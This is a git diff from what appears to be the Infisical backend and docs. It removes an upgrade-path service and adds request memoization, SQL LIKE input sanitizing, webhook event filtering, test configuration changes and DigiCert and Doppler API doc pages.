-          throw new Error(`Config load failed: ${error instanceof Error ? error.message : "Unknown error"}`);
-        }
-      }
-    });
-  };
-
-  const normalizeVersion = (version: string): string => {
-    const versionRegex = new RE2(/(\d+\.\d+\.\d+(?:\.\d+)?)/);
-    const versionMatch = version.match(versionRegex);
-    if (versionMatch) {
-      return versionMatch[1];
-    }
-
-    if (version.startsWith("infisical/")) {
-      return version.replace(new RE2(/^infisical\/v?/), "").replace(new RE2(/-[a-zA-Z]+$/), "");
-    }
-    return version.replace(new RE2(/^v/), "").replace(new RE2(/-[a-zA-Z]+$/), "");
-  };
-
-  const validateParams = (params: CalculateUpgradePathParams) => {
-    const { fromVersion, toVersion } = params;
-
-    versionSchema.parse(fromVersion);
-    versionSchema.parse(toVersion);
-
-    if (fromVersion === toVersion) {
-      throw new Error("Versions cannot be identical");
-    }
-
-    if (fromVersion.includes("nightly") || toVersion.includes("nightly")) {
-      throw new Error("Nightly releases are not supported for upgrade path calculation");
-    }
-
-    return { fromVersion, toVersion };
-  };
-
-  const calculateUpgradePath = async (params: CalculateUpgradePathParams): Promise<UpgradePathResult> => {
-    const { fromVersion, toVersion } = validateParams(params);
-    const cacheKey = sanitizeCacheKey(`upgrade-path:${fromVersion}:${toVersion}`);
-
-    return withCache({
-      keyStore,
-      key: cacheKey,
-      ttlSeconds: UPGRADE_PATH_CACHE_TTL,
-      fetcher: async () => {
-        const [releases, config] = await Promise.all([getGitHubReleases(), getUpgradePathConfig()]);
-
-        const cleanFrom = normalizeVersion(fromVersion);
-        const cleanTo = normalizeVersion(toVersion);
-
-        const compareVersions = (v1: string, v2: string): number => {
-          const normalize = (v: string) => normalizeVersion(v);
-          const clean1 = normalize(v1);
-          const clean2 = normalize(v2);
-
-          const parts1 = clean1.split(".").map(Number);
-          const parts2 = clean2.split(".").map(Number);
-
-          const maxLength = Math.max(parts1.length, parts2.length);
-          while (parts1.length < maxLength) parts1.push(0);
-          while (parts2.length < maxLength) parts2.push(0);
-
-          for (let i = 0; i < maxLength; i += 1) {
-            if (parts1[i] > parts2[i]) return 1;
-            if (parts1[i] < parts2[i]) return -1;
-          }
-          return 0;
-        };
-
-        if (compareVersions(cleanFrom, cleanTo) >= 0) {
-          throw new Error("fromVersion must be older than toVersion");
-        }
-
-        const fromIdx = releases.findIndex((r) => normalizeVersion(r.normalizedTagName) === cleanFrom);
-        const toIdx = releases.findIndex((r) => normalizeVersion(r.normalizedTagName) === cleanTo);
-
-        let upgradePath: FormattedRelease[] = [];
-        const filteredPath: FormattedRelease[] = [];
-
-        if (fromIdx !== -1 && toIdx !== -1) {
-          if (fromIdx <= toIdx) throw new Error("Invalid version order");
-          upgradePath = releases.slice(toIdx, fromIdx + 1).reverse();
-          const [first, last] = [upgradePath[0], upgradePath[upgradePath.length - 1]];
-
-          filteredPath.push(first);
-          if (last !== first) filteredPath.push(last);
-        }
-
-        const breakingChanges: Array<{ version: string; changes: BreakingChange[] }> = [];
-        const features: Array<{ version: string; name: string; body: string; publishedAt: string }> = [];
-        let hasDbMigration = false;
-
-        const isVersionInRange = (version: string, fromVer: string, toVer: string): boolean => {
-          const versionComp = compareVersions(version, fromVer);
-          const toVersionComp = compareVersions(version, toVer);
-          return versionComp > 0 && toVersionComp < 0;
-        };
-
-        Object.keys(config).forEach((configVersion) => {
-          const versionConfig = config[configVersion];
-          if (versionConfig?.breaking_changes?.length) {
-            if (isVersionInRange(configVersion, cleanFrom, cleanTo)) {
-              breakingChanges.push({
-                version: configVersion,
-                changes: versionConfig.breaking_changes
-              });
-            }
-          }
-        });
-        for (let i = 0; i < upgradePath.length; i += 1) {
-          const version = upgradePath[i];
-          const isFromVersion = normalizeVersion(version.normalizedTagName) === cleanFrom;
-
-          if (!isFromVersion) {
-            const versionNumber = normalizeVersion(version.tagName);
-            const possibleKeys = [
-              version.tagName,
-              version.normalizedTagName,
-              versionNumber,
-              `v${versionNumber}`,
-              version.tagName.replace(new RE2(/^infisical\//), ""),
-              version.tagName.replace(new RE2(/^infisical\/v?/), "").replace(new RE2(/-[a-zA-Z]+$/), "")
-            ];
-
-            for (const key of possibleKeys) {
-              const versionConfig = config[key];
-              if (
-                versionConfig?.db_schema_changes &&
-                typeof versionConfig.db_schema_changes === "string" &&
-                versionConfig.db_schema_changes.trim()
-              ) {
-                hasDbMigration = true;
-                break;
-              }
-            }
-          }
-
-          // Collect release notes and features
-          if (version.body) {
-            features.push({
-              version: version.tagName,
-              name: version.name,
-              body: version.body,
-              publishedAt: version.publishedAt
-            });
-          }
-        }
-
-        return {
-          path: filteredPath.map((r) => ({
-            version: r.tagName,
-            name: r.name,
-            publishedAt: r.publishedAt,
-            prerelease: r.prerelease
-          })),
-          breakingChanges,
-          features,
-          hasDbMigration,
-          config
-        };
-      }
-    });
-  };
-
-  return {
-    getGitHubReleases,
-    getUpgradePathConfig,
-    calculateUpgradePath: (fromVersion: string, toVersion: string) => calculateUpgradePath({ fromVersion, toVersion })
-  };
-};
diff --git a/backend/src/services/user-engagement/user-engagement-service.ts b/backend/src/services/user-engagement/user-engagement-service.ts
index b1467290362..0e33d1e39e1 100644
--- a/backend/src/services/user-engagement/user-engagement-service.ts
+++ b/backend/src/services/user-engagement/user-engagement-service.ts
@@ -2,6 +2,8 @@ import axios from "axios";
 
 import { getConfig } from "@app/lib/config/env";
 import { InternalServerError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 
 import { TOrgDALFactory } from "../org/org-dal";
 import { TUserDALFactory } from "../user/user-dal";
@@ -16,7 +18,7 @@ export type TUserEngagementServiceFactory = ReturnType<typeof userEngagementServ
 export const userEngagementServiceFactory = ({ userDAL, orgDAL }: TUserEngagementServiceFactoryDep) => {
   const createUserWish = async (userId: string, orgId: string, text: string) => {
     const user = await userDAL.findById(userId);
-    const org = await orgDAL.findById(orgId);
+    const org = await requestMemoize(requestMemoKeys.orgFindById(orgId), () => orgDAL.findById(orgId));
     const appCfg = getConfig();
 
     if (!appCfg.PYLON_API_KEY) {
diff --git a/backend/src/services/user/user-dal.ts b/backend/src/services/user/user-dal.ts
index 6de06d6fa4c..145766f1021 100644
--- a/backend/src/services/user/user-dal.ts
+++ b/backend/src/services/user/user-dal.ts
@@ -13,6 +13,7 @@ import {
   UsersSchema
 } from "@app/db/schemas";
 import { DatabaseError } from "@app/lib/errors";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify, selectAllTableCols, sqlNestRelationships } from "@app/lib/knex";
 
 export type TUserDALFactory = ReturnType<typeof userDALFactory>;
@@ -38,10 +39,10 @@ export const userDALFactory = (db: TDbClient) => {
       if (searchTerm) {
         query = query.where((qb) => {
           void qb
-            .whereILike("email", `%${searchTerm}%`)
-            .orWhereILike("firstName", `%${searchTerm}%`)
-            .orWhereILike("lastName", `%${searchTerm}%`)
-            .orWhereRaw('lower("username") like ?', `%${searchTerm}%`);
+            .whereILike("email", `%${sanitizeSqlLikeString(searchTerm)}%`)
+            .orWhereILike("firstName", `%${sanitizeSqlLikeString(searchTerm)}%`)
+            .orWhereILike("lastName", `%${sanitizeSqlLikeString(searchTerm)}%`)
+            .orWhereRaw('lower("username") like ?', `%${sanitizeSqlLikeString(searchTerm)}%`);
         });
       }
 
@@ -91,7 +92,9 @@ export const userDALFactory = (db: TDbClient) => {
           isGhost: false
         })
         .whereIn(`${TableName.Users}.id`, userIds)
-        .join(TableName.UserEncryptionKey, `${TableName.Users}.id`, `${TableName.UserEncryptionKey}.userId`);
+        .leftJoin(TableName.UserEncryptionKey, `${TableName.Users}.id`, `${TableName.UserEncryptionKey}.userId`)
+        .select(selectAllTableCols(TableName.Users))
+        .select(db.ref("publicKey").withSchema(TableName.UserEncryptionKey));
     } catch (error) {
       throw new DatabaseError({ error, name: "Find user enc by user ids batch" });
     }
diff --git a/backend/src/services/user/user-service.ts b/backend/src/services/user/user-service.ts
index c998b272621..75351c2bb42 100644
--- a/backend/src/services/user/user-service.ts
+++ b/backend/src/services/user/user-service.ts
@@ -87,7 +87,7 @@ export const userServiceFactory = ({
 
     await smtpService.sendMail({
       template: SmtpTemplates.EmailVerification,
-      subjectLine: "Infisical confirmation code",
+      subjectLine: `Infisical confirmation code: ${userToken}`,
       recipients: [user.email],
       substitutions: {
         code: userToken
diff --git a/backend/src/services/webhook/webhook-fns.ts b/backend/src/services/webhook/webhook-fns.ts
index 05fa9114ef8..57fd7d464d2 100644
--- a/backend/src/services/webhook/webhook-fns.ts
+++ b/backend/src/services/webhook/webhook-fns.ts
@@ -7,6 +7,8 @@ import { request } from "@app/lib/config/request";
 import { crypto } from "@app/lib/crypto/cryptography";
 import { NotFoundError } from "@app/lib/errors";
 import { logger } from "@app/lib/logger";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 import { ActorType } from "@app/services/auth/auth-type";
 
@@ -248,91 +250,22 @@ export const getWebhookPayload = (event: TWebhookPayloads) => {
     }
   }
 
-  const { projectName, projectId, environment, secretPath, type, reminderNote, secretName } = event.payload;
-
-  switch (type) {
-    case WebhookType.SLACK:
-      return {
-        text: "You have a secret reminder",
-        attachments: [
-          {
-            color: "#E7F256",
-            fields: [
-              {
-                title: "Project",
-                value: projectName,
-                short: false
-              },
-              {
-                title: "Environment",
-                value: environment,
-                short: false
-              },
-              {
-                title: "Secret Path",
-                value: secretPath,
-                short: false
-              },
-              {
-                title: "Secret Name",
-                value: secretName,
-                short: false
-              },
-              {
-                title: "Reminder Note",
-                value: reminderNote,
-                short: false
-              }
-            ]
-          }
-        ]
-      };
-    case WebhookType.MICROSOFT_TEAMS:
-      return {
-        type: "message",
-        attachments: [
-          {
-            contentType: "application/vnd.microsoft.card.adaptive",
-            contentUrl: null,
-            content: {
-              type: "AdaptiveCard",
-              version: "1.2",
-              body: [
-                {
-                  type: "TextBlock",
-                  size: "Medium",
-                  weight: "Bolder",
-                  text: "You have a secret reminder"
-                },
-                {
-                  type: "FactSet",
-                  facts: [
-                    { title: "Project", value: projectName || "" },
-                    { title: "Environment", value: environment },
-                    { title: "Secret Path", value: secretPath || "" },
-                    { title: "Reminder Note", value: reminderNote || "" }
-                  ]
-                }
-              ]
-            }
-          }
-        ]
-      };
-    case WebhookType.GENERAL:
-    default:
-      return {
-        event: event.type,
-        project: {
-          workspaceId: projectId,
-          projectId,
-          projectName,
-          environment,
-          secretPath,
-          secretName,
-          reminderNote
-        }
-      };
+  if (event.type === WebhookEvents.TestEvent) {
+    const { projectName, projectId, environment, secretPath } = event.payload;
+    return {
+      event: event.type,
+      project: {
+        workspaceId: projectId,
+        projectId,
+        projectName,
+        environment,
+        secretPath
+      }
+    };
   }
+
+  logger.warn({ event }, "Unhandled webhook event");
+  return null;
 };
 
 export type TFnTriggerWebhookDTO = {
@@ -361,15 +294,18 @@ export const fnTriggerWebhook = async ({
   auditLogService
 }: TFnTriggerWebhookDTO) => {
   const webhooks = await webhookDAL.findAllWebhooks(projectId, environment);
-  const toBeTriggeredHooks = webhooks.filter(
-    ({ secretPath: hookSecretPath, isDisabled }) =>
-      !isDisabled && picomatch.isMatch(secretPath, hookSecretPath, { strictSlashes: false })
-  );
+  const toBeTriggeredHooks = webhooks.filter(({ secretPath: hookSecretPath, isDisabled, filteredEvents }) => {
+    const isEventSubscribed = !filteredEvents || filteredEvents.length === 0 || filteredEvents.includes(event.type);
+
+    return !isDisabled && picomatch.isMatch(secretPath, hookSecretPath, { strictSlashes: false }) && isEventSubscribed;
+  });
   if (!toBeTriggeredHooks.length) return;
   logger.info({ environment, secretPath, projectId }, "Secret webhook job started");
   let { projectName } = event.payload;
   if (!projectName) {
-    const project = await projectDAL.findById(event.payload.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(event.payload.projectId), () =>
+      projectDAL.findById(event.payload.projectId)
+    );
     projectName = project.name;
   }
 
@@ -379,8 +315,9 @@ export const fnTriggerWebhook = async ({
         type: event.type,
         payload: { ...event.payload, type: hook.type, projectName }
       } as TWebhookPayloads;
-
-      return triggerWebhookRequest(hook, secretManagerDecryptor, getWebhookPayload(formattedEvent));
+      const payload = getWebhookPayload(formattedEvent);
+      if (!payload) return;
+      return triggerWebhookRequest(hook, secretManagerDecryptor, payload);
     })
   );
 
diff --git a/backend/src/services/webhook/webhook-service.ts b/backend/src/services/webhook/webhook-service.ts
index 90187dda66c..e603f3872f7 100644
--- a/backend/src/services/webhook/webhook-service.ts
+++ b/backend/src/services/webhook/webhook-service.ts
@@ -3,7 +3,9 @@ import { ForbiddenError } from "@casl/ability";
 import { ActionProjectType, TWebhooksInsert } from "@app/db/schemas";
 import { TPermissionServiceFactory } from "@app/ee/services/permission/permission-service-types";
 import { ProjectPermissionActions, ProjectPermissionSub } from "@app/ee/services/permission/project-permission";
-import { NotFoundError } from "@app/lib/errors";
+import { BadRequestError, NotFoundError } from "@app/lib/errors";
+import { requestMemoKeys } from "@app/lib/request-context/memo-keys";
+import { requestMemoize } from "@app/lib/request-context/request-memoizer";
 import { blockLocalAndPrivateIpAddresses } from "@app/lib/validator";
 
 import { TKmsServiceFactory } from "../kms/kms-service";
@@ -13,9 +15,11 @@ import { TProjectEnvDALFactory } from "../project-env/project-env-dal";
 import { TWebhookDALFactory } from "./webhook-dal";
 import { decryptWebhookDetails, getWebhookPayload, triggerWebhookRequest } from "./webhook-fns";
 import {
+  SUBSCRIBABLE_WEBHOOK_EVENTS,
   TCreateWebhookDTO,
   TDeleteWebhookDTO,
   TListWebhookDTO,
+  TSubscribableWebhookEvent,
   TTestWebhookDTO,
   TUpdateWebhookDTO,
   WebhookEvents
@@ -38,6 +42,18 @@ export const webhookServiceFactory = ({
   projectDAL,
   kmsService
 }: TWebhookServiceFactoryDep) => {
+  const subscribableEvents = new Set<string>(SUBSCRIBABLE_WEBHOOK_EVENTS);
+
+  // `eventsFilter` on the API mirrors the DB's `filteredEvents` column: both are the allowlist
+  // of events that should trigger the webhook. Empty array => no events are filtered out
+  // (webhook fires on everything subscribable).
+  const withEventsFilter = <T extends { filteredEvents?: string[] | null }>(webhook: T) => ({
+    ...webhook,
+    eventsFilter: (webhook.filteredEvents ?? [])
+      .filter((eventName): eventName is TSubscribableWebhookEvent => subscribableEvents.has(eventName))
+      .map((eventName) => ({ eventName }))
+  });
+
   const createWebhook = async ({
     actor,
     actorId,
@@ -48,7 +64,8 @@ export const webhookServiceFactory = ({
     environment,
     secretPath,
     webhookSecretKey,
-    type
+    type,
+    eventsFilter
   }: TCreateWebhookDTO) => {
     const { permission } = await permissionService.getProjectPermission({
       actor,
@@ -70,12 +87,16 @@ export const webhookServiceFactory = ({
       type: KmsDataKey.SecretManager,
       projectId
     });
+
+    const filteredEvents = eventsFilter?.map((e) => e.eventName) ?? [];
+
     const insertDoc: TWebhooksInsert = {
       envId: env.id,
       isDisabled: false,
       secretPath: secretPath || "/",
       type,
-      encryptedUrl: secretManagerEncryptor({ plainText: Buffer.from(webhookUrl) }).cipherTextBlob
+      encryptedUrl: secretManagerEncryptor({ plainText: Buffer.from(webhookUrl) }).cipherTextBlob,
+      filteredEvents
     };
 
     if (webhookSecretKey) {
@@ -83,10 +104,18 @@ export const webhookServiceFactory = ({
     }
 
     const webhook = await webhookDAL.create(insertDoc);
-    return { ...webhook, projectId, environment: env };
+    return { ...withEventsFilter(webhook), projectId, environment: env };
   };
 
-  const updateWebhook = async ({ actorId, actor, actorOrgId, actorAuthMethod, id, isDisabled }: TUpdateWebhookDTO) => {
+  const updateWebhook = async ({
+    actorId,
+    actor,
+    actorOrgId,
+    actorAuthMethod,
+    id,
+    isDisabled,
+    eventsFilter
+  }: TUpdateWebhookDTO) => {
     const webhook = await webhookDAL.findById(id);
     if (!webhook) throw new NotFoundError({ message: `Webhook with ID '${id}' not found` });
 
@@ -100,8 +129,15 @@ export const webhookServiceFactory = ({
     });
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Edit, ProjectPermissionSub.Webhooks);
 
-    const updatedWebhook = await webhookDAL.updateById(id, { isDisabled });
-    return { ...webhook, ...updatedWebhook };
+    const filteredEvents = eventsFilter?.map((e) => e.eventName);
+
+    const updateData = {
+      ...(isDisabled !== undefined ? { isDisabled } : {}),
+      ...(filteredEvents !== undefined ? { filteredEvents } : {})
+    };
+
+    const updatedWebhook = await webhookDAL.updateById(id, updateData);
+    return withEventsFilter({ ...webhook, ...updatedWebhook });
   };
 
   const deleteWebhook = async ({ id, actor, actorId, actorAuthMethod, actorOrgId }: TDeleteWebhookDTO) => {
@@ -119,7 +155,7 @@ export const webhookServiceFactory = ({
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Delete, ProjectPermissionSub.Webhooks);
 
     const deletedWebhook = await webhookDAL.deleteById(id);
-    return { ...webhook, ...deletedWebhook };
+    return withEventsFilter({ ...webhook, ...deletedWebhook });
   };
 
   const testWebhook = async ({ id, actor, actorId, actorAuthMethod, actorOrgId }: TTestWebhookDTO) => {
@@ -135,7 +171,9 @@ export const webhookServiceFactory = ({
       actionProjectType: ActionProjectType.Any
     });
 
-    const project = await projectDAL.findById(webhook.projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(webhook.projectId), () =>
+      projectDAL.findById(webhook.projectId)
+    );
     const { decryptor: secretManagerDecryptor } = await kmsService.createCipherPairWithDataKey({
       type: KmsDataKey.SecretManager,
       projectId: project.id
@@ -144,19 +182,23 @@ export const webhookServiceFactory = ({
     ForbiddenError.from(permission).throwUnlessCan(ProjectPermissionActions.Read, ProjectPermissionSub.Webhooks);
     let webhookError: string | undefined;
     try {
+      const payload = getWebhookPayload({
+        type: WebhookEvents.TestEvent,
+        payload: {
+          projectName: project.name,
+          projectId: webhook.projectId,
+          environment: webhook.environment.slug,
+          secretPath: webhook.secretPath,
+          type: webhook.type
+        }
+      });
+
+      if (!payload) throw new BadRequestError({ message: "Failed to get webhook payload for test event" });
+
       await triggerWebhookRequest(
         webhook,
         (value) => secretManagerDecryptor({ cipherTextBlob: value }).toString(),
-        getWebhookPayload({
-          type: "test" as WebhookEvents.SecretModified,
-          payload: {
-            projectName: project.name,
-            projectId: webhook.projectId,
-            environment: webhook.environment.slug,
-            secretPath: webhook.secretPath,
-            type: webhook.type
-          }
-        })
+        payload
       );
     } catch (err) {
       webhookError = (err as Error).message;
@@ -166,7 +208,7 @@ export const webhookServiceFactory = ({
       lastStatus: isSuccess ? "success" : "failed",
       lastRunErrorMessage: isSuccess ? null : webhookError
     });
-    return { ...webhook, ...updatedWebhook };
+    return withEventsFilter({ ...webhook, ...updatedWebhook });
   };
 
   const listWebhooks = async ({
@@ -197,7 +239,7 @@ export const webhookServiceFactory = ({
     return webhooks.map((w) => {
       const { url } = decryptWebhookDetails(w, (value) => secretManagerDecryptor({ cipherTextBlob: value }).toString());
       return {
-        ...w,
+        ...withEventsFilter(w),
         url
       };
     });
diff --git a/backend/src/services/webhook/webhook-types.ts b/backend/src/services/webhook/webhook-types.ts
index 7de8473c9ce..16ccdc44e79 100644
--- a/backend/src/services/webhook/webhook-types.ts
+++ b/backend/src/services/webhook/webhook-types.ts
@@ -8,11 +8,13 @@ export type TCreateWebhookDTO = {
   webhookUrl: string;
   webhookSecretKey?: string;
   type: string;
+  eventsFilter?: { eventName: TSubscribableWebhookEvent }[];
 } & TProjectPermission;
 
 export type TUpdateWebhookDTO = {
   id: string;
   isDisabled?: boolean;
+  eventsFilter?: { eventName: TSubscribableWebhookEvent }[];
 } & Omit<TProjectPermission, "projectId">;
 
 export type TTestWebhookDTO = {
@@ -36,11 +38,14 @@ export enum WebhookType {
 
 export enum WebhookEvents {
   SecretModified = "secrets.modified",
-  SecretReminderExpired = "secrets.reminder-expired",
   SecretRotationFailed = "secrets.rotation-failed",
   TestEvent = "test"
 }
 
+export const SUBSCRIBABLE_WEBHOOK_EVENTS = [WebhookEvents.SecretModified, WebhookEvents.SecretRotationFailed] as const;
+
+export type TSubscribableWebhookEvent = (typeof SUBSCRIBABLE_WEBHOOK_EVENTS)[number];
+
 type TWebhookSecretModifiedEventPayload = {
   type: WebhookEvents.SecretModified;
   payload: {
@@ -54,36 +59,33 @@ type TWebhookSecretModifiedEventPayload = {
   };
 };
 
-type TWebhookSecretReminderEventPayload = {
-  type: WebhookEvents.SecretReminderExpired;
+type TWebhookSecretRotationFailedEventPayload = {
+  type: WebhookEvents.SecretRotationFailed;
+
   payload: {
+    rotationName?: string;
     projectName?: string;
     projectId: string;
     environment: string;
     secretPath?: string;
+    triggeredManually?: boolean;
+    errorMessage?: string;
     type?: string | null;
-    secretName: string;
-    secretId: string;
-    reminderNote?: string | null;
   };
 };
 
-type TWebhookSecretRotationFailedEventPayload = {
-  type: WebhookEvents.SecretRotationFailed;
-
+type TWebhookTestEventPayload = {
+  type: WebhookEvents.TestEvent;
   payload: {
-    rotationName?: string;
     projectName?: string;
     projectId: string;
     environment: string;
     secretPath?: string;
-    triggeredManually?: boolean;
-    errorMessage?: string;
     type?: string | null;
   };
 };
 
 export type TWebhookPayloads =
   | TWebhookSecretModifiedEventPayload
-  | TWebhookSecretReminderEventPayload
-  | TWebhookSecretRotationFailedEventPayload;
+  | TWebhookSecretRotationFailedEventPayload
+  | TWebhookTestEventPayload;
diff --git a/backend/tsconfig.json b/backend/tsconfig.json
index db076a30d67..c79668ce7e0 100644
--- a/backend/tsconfig.json
+++ b/backend/tsconfig.json
@@ -22,6 +22,8 @@
     "moduleResolution": "Node",
     "allowSyntheticDefaultImports": true,
     "skipLibCheck": true,
+    "incremental": true,
+    "tsBuildInfoFile": "./.cache/tsconfig.tsbuildinfo",
     "baseUrl": ".",
     "paths": {
       "@app/*": ["./src/*"],
diff --git a/backend/upgrade-path.yaml b/backend/upgrade-path.yaml
deleted file mode 100644
index 4ccb7e7752a..00000000000
--- a/backend/upgrade-path.yaml
+++ /dev/null
@@ -1,26 +0,0 @@
-# Upgrade Path Configuration File
-#
-# This file defines breaking changes and database migration information for Infisical versions.
-# Used by the upgrade path tool to help users understand what changes are required between versions.
-#
-# Expected format:
-# versions:
-#   "version_key":  # Can be "v1.2.3", "1.2.3", or "infisical/v1.2.3-postgres"
-#     breaking_changes:  # Optional: list of breaking changes for this version
-#       - title: "Short descriptive title"
-#         description: "Detailed description of what changed"
-#         action: "Specific steps users need to take"
-#     db_schema_changes: "Optional: Description of database changes and migration details"
-#     notes: "Optional: Additional notes or important information about this version"
-#
-# Example:
-# versions:
-#   "v1.2.3":
-#     breaking_changes:
-#       - title: "API Endpoint Changes"
-#         description: "Authentication endpoints have been restructured"
-#         action: "Update all API calls to use new /auth/v2/ endpoints"
-#     db_schema_changes: "Major schema restructuring with table reorganization. Extended migration time: 3 minutes."
-#     notes: "Critical update requiring maintenance window. Test thoroughly before production deployment."
-
-versions:
\ No newline at end of file
diff --git a/backend/vitest.e2e.config.mts b/backend/vitest.e2e.config.mts
index c9f7a8e1c04..569a02b1f74 100644
--- a/backend/vitest.e2e.config.mts
+++ b/backend/vitest.e2e.config.mts
@@ -13,12 +13,12 @@ export default defineConfig({
     },
     environment: "./e2e-test/vitest-environment-knex.ts",
     include: ["./e2e-test/**/*.spec.ts"],
-    pool: "threads",
+    pool: "forks",
     poolOptions: {
-      threads: {
-        minThreads: 1,
-        maxThreads: 1,
-        singleThread: true
+      forks: {
+        singleFork: true,
+        minForks: 1,
+        maxForks: 1
       }
     },
     fileParallelism: false,
diff --git a/docker-compose.e2e-dbs.yml b/docker-compose.e2e-dbs.yml
index 41f542207e7..2406cdfa3bf 100644
--- a/docker-compose.e2e-dbs.yml
+++ b/docker-compose.e2e-dbs.yml
@@ -131,12 +131,15 @@ services:
     image: postgres:10.12
     platform: linux/amd64
     container_name: postgres-10.12
+    command: ["postgres", "-c", "password_encryption=scram-sha-256"]
     ports:
       - "5435:5432"
     environment:
       - POSTGRES_DB=postgres-test
       - POSTGRES_USER=postgres-test
       - POSTGRES_PASSWORD=postgres-test
+      - POSTGRES_HOST_AUTH_METHOD=scram-sha-256
+      - POSTGRES_INITDB_ARGS=--auth-host=scram-sha-256 --auth-local=scram-sha-256
     volumes:
       - postgres-data-10.12:/var/lib/postgresql/data
     restart: unless-stopped
diff --git a/docs/api-reference/endpoints/app-connections/digicert/available.mdx b/docs/api-reference/endpoints/app-connections/digicert/available.mdx
new file mode 100644
index 00000000000..0a5b28f4c1f
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/digicert/available.mdx
@@ -0,0 +1,4 @@
+---
+title: "Available"
+openapi: "GET /api/v1/app-connections/digicert/available"
+---
diff --git a/docs/api-reference/endpoints/app-connections/digicert/create.mdx b/docs/api-reference/endpoints/app-connections/digicert/create.mdx
new file mode 100644
index 00000000000..36f46586020
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/digicert/create.mdx
@@ -0,0 +1,8 @@
+---
+title: "Create"
+openapi: "POST /api/v1/app-connections/digicert"
+---
+
+<Note>
+  Check out the configuration docs for [DigiCert Connections](/integrations/app-connections/digicert) to learn how to obtain the required credentials.
+</Note>
diff --git a/docs/api-reference/endpoints/app-connections/digicert/delete.mdx b/docs/api-reference/endpoints/app-connections/digicert/delete.mdx
new file mode 100644
index 00000000000..2ab9f883826
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/digicert/delete.mdx
@@ -0,0 +1,4 @@
+---
+title: "Delete"
+openapi: "DELETE /api/v1/app-connections/digicert/{connectionId}"
+---
diff --git a/docs/api-reference/endpoints/app-connections/digicert/get-by-id.mdx b/docs/api-reference/endpoints/app-connections/digicert/get-by-id.mdx
new file mode 100644
index 00000000000..650210110f0
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/digicert/get-by-id.mdx
@@ -0,0 +1,4 @@
+---
+title: "Get by ID"
+openapi: "GET /api/v1/app-connections/digicert/{connectionId}"
+---
diff --git a/docs/api-reference/endpoints/app-connections/digicert/get-by-name.mdx b/docs/api-reference/endpoints/app-connections/digicert/get-by-name.mdx
new file mode 100644
index 00000000000..5e0371fbb7e
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/digicert/get-by-name.mdx
@@ -0,0 +1,4 @@
+---
+title: "Get by Name"
+openapi: "GET /api/v1/app-connections/digicert/connection-name/{connectionName}"
+---
diff --git a/docs/api-reference/endpoints/app-connections/digicert/list.mdx b/docs/api-reference/endpoints/app-connections/digicert/list.mdx
new file mode 100644
index 00000000000..de2e45df013
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/digicert/list.mdx
@@ -0,0 +1,4 @@
+---
+title: "List"
+openapi: "GET /api/v1/app-connections/digicert"
+---
diff --git a/docs/api-reference/endpoints/app-connections/digicert/update.mdx b/docs/api-reference/endpoints/app-connections/digicert/update.mdx
new file mode 100644
index 00000000000..7152b512f94
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/digicert/update.mdx
@@ -0,0 +1,8 @@
+---
+title: "Update"
+openapi: "PATCH /api/v1/app-connections/digicert/{connectionId}"
+---
+
+<Note>
+  Check out the configuration docs for [DigiCert Connections](/integrations/app-connections/digicert) to learn how to obtain the required credentials.
+</Note>
diff --git a/docs/api-reference/endpoints/app-connections/doppler/available.mdx b/docs/api-reference/endpoints/app-connections/doppler/available.mdx
new file mode 100644
index 00000000000..90aec1ff751
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/doppler/available.mdx
@@ -0,0 +1,4 @@
+---
+title: "Available"
+openapi: "GET /api/v1/app-connections/doppler/available"
+---
diff --git a/docs/api-reference/endpoints/app-connections/doppler/create.mdx b/docs/api-reference/endpoints/app-connections/doppler/create.mdx
new file mode 100644
index 00000000000..aa558b337af
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/doppler/create.mdx
@@ -0,0 +1,9 @@
+---
+title: "Create"
+openapi: "POST /api/v1/app-connections/doppler"
+---
+
+<Note>
+    Check out the configuration docs for [Doppler Connections](/integrations/app-connections/doppler) to learn how to obtain
+    the required credentials.
+</Note>
diff --git a/docs/api-reference/endpoints/app-connections/doppler/delete.mdx b/docs/api-reference/endpoints/app-connections/doppler/delete.mdx
new file mode 100644
index 00000000000..2fb8da4786b
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/doppler/delete.mdx
@@ -0,0 +1,4 @@
+---
+title: "Delete"
+openapi: "DELETE /api/v1/app-connections/doppler/{connectionId}"
+---
diff --git a/docs/api-reference/endpoints/app-connections/doppler/get-by-id.mdx b/docs/api-reference/endpoints/app-connections/doppler/get-by-id.mdx
new file mode 100644
index 00000000000..1f2f140aa89
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/doppler/get-by-id.mdx
@@ -0,0 +1,4 @@
+---
+title: "Get by ID"
+openapi: "GET /api/v1/app-connections/doppler/{connectionId}"
+---
diff --git a/docs/api-reference/endpoints/app-connections/doppler/get-by-name.mdx b/docs/api-reference/endpoints/app-connections/doppler/get-by-name.mdx
new file mode 100644
index 00000000000..a613966c9e5
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/doppler/get-by-name.mdx
@@ -0,0 +1,4 @@
+---
+title: "Get by Name"
+openapi: "GET /api/v1/app-connections/doppler/connection-name/{connectionName}"
+---
diff --git a/docs/api-reference/endpoints/app-connections/doppler/list.mdx b/docs/api-reference/endpoints/app-connections/doppler/list.mdx
new file mode 100644
index 00000000000..95dfcfd9dc1
--- /dev/null
+++ b/docs/api-reference/endpoints/app-connections/doppler/list.mdx
@@ -0,0 +1,4 @@
+---
+title: "List"
+openapi: "GET /api/v1/app-connections/doppler"
+---
